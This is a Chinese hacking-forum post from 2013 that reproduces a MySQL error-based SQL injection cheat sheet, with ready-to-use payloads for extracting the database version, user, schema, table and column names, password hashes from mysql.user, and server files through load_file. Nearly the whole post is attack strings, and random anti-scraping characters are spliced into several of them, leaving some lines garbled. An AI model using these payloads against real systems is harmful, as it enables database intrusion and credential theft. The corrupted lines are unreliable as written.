找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2252|回复: 0
打印 上一主题 下一主题

Mysql暴错注入参考(pdf)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 11:00:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
本帖最后由 Nightmare 于 2013-3-17 14:20 编辑 : c1 `; a" H9 z4 y
, j, [  ?- ?& V) v& {) ~& B. ]
; l' f& k' P& v' z( R
Mysql暴错注入参考(pdf),每天一贴。。。
5 X5 k. o# W0 z" f, N( k! g! `: g) d8 \* \: \: F% T
MySql Error Based Injection Reference: ~6 p$ G, ?1 Y' x4 V
[Mysql暴错注入参考]
  S6 u0 Z6 \, O5 s) i$ C2 a+ dAuthornig0s1992
3 o4 j; ]' T  \Blog:http://pnig0s1992.blog.51cto.com/3 X) p. ^2 F( o, r! I  U8 x" L
TeAm:http://www.FreeBuf.com/
! d" H% ^4 z8 V/ EMysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
. a# W' j7 C% d" s( [小部分版本使用name_const()时会报错.可以用给出的Method.2测试& F' G! W: C5 l8 W% ]* y
查询版本:. k. z& Q& `' I/ O
Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+; G* X9 b- a3 Q4 ]% l6 r
join+(select+name_const(@@version,0))b)c)
- }* R2 p! e# C: _8 aMethod.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro
! O, e0 ?9 L" [  [+ v6 _% A5 Q, Rup by a)b)0 p2 D4 T; g8 A: D. @6 P
查询当前用户:8 E/ J. ^9 k- r% i1 `7 G
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)- e1 {9 F) C- C2 [" M/ x
Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r
! C4 m% r- }- r2 _: i9 @+ {  Nand(0)*2))x+from+information_schema.tables+group+by+x)a)
" `/ @) T# y) d" _查询当前数据库:+ {# b3 ~& C9 v; ]8 G6 e" ]
Method.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)6 c1 ?% A; w) V  ]' a: S
Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo/ n: x# ^/ N' g9 _. l
or(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
) s+ X# W- X" x8 J& }0 x4 J0 }依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+- a0 T; R- d: p7 ], k& T8 h
LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n
0 K  r9 |; K; t& R4 N! m, ~3 E顺序替换6 V# d4 f7 a( U; z+ A
爆指定库数目:
; W# N3 `/ X1 s4 ^# _$ [& Mand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t6 o; I) h. G; j' p# v- G2 s8 R
able_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group
4 q! m) Q! a& T' S; l+by+x)a)+and+1=1 0x6D7973716C=mysql' ^5 U0 l. v* ?5 k* j2 r+ V
依次爆表:% s, j. C! }* B% E, x6 V
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
8 C5 Q9 o! Z7 B% }9 Rable_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta; k; p& }2 ~2 h6 [0 k
bles+group+by+x)a)+and+1=1
) G( W; R/ U0 f6 C9 U2 j0x6D7973716C=Mysql 将n顺序替换
$ T+ w& k$ l9 _: q6 j爆表内字段数目:
; l! U9 n$ ?  w* R) n6 c1 Sand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE
+ u" }4 i4 A2 _$ z+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
+ ^# z( \( l4 [  t# @0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
  v# `% {, ?: D) ~依次爆字段:
3 S/ ]! C6 {9 J, k8 s' v3 Gand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where
+ ?3 O. }: [$ Y. V+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,12 U. \3 U5 l+ C2 D# S) r  L, z' j% X
loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换
4 V% R! O: W$ c' a6 O: Q依次暴内容:
5 @  t1 x( x3 p& W( r  K$ Y! rand+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche$ [5 p9 ~8 w. J; ~& [
ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
7 t9 J8 w$ [( q8 o4 B- Z& {将n顺序替换
) P# n1 \8 p4 c  M6 v& n# a; c- ~爆文件内容:9 ?' r, {4 h& T5 ~$ q6 s0 u1 B
and+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a& N6 A; B( B7 a& Z! C5 E# H2 }
from+information_schema.tables+group+by+a)b) + P2 [$ y* a4 w  |
0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节
. i0 a. G' X. y! OThx for reading.0 I* {# L; o) E

& U+ i0 r) i/ w不要下载也可以, 5 {' w2 q0 o! ?

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表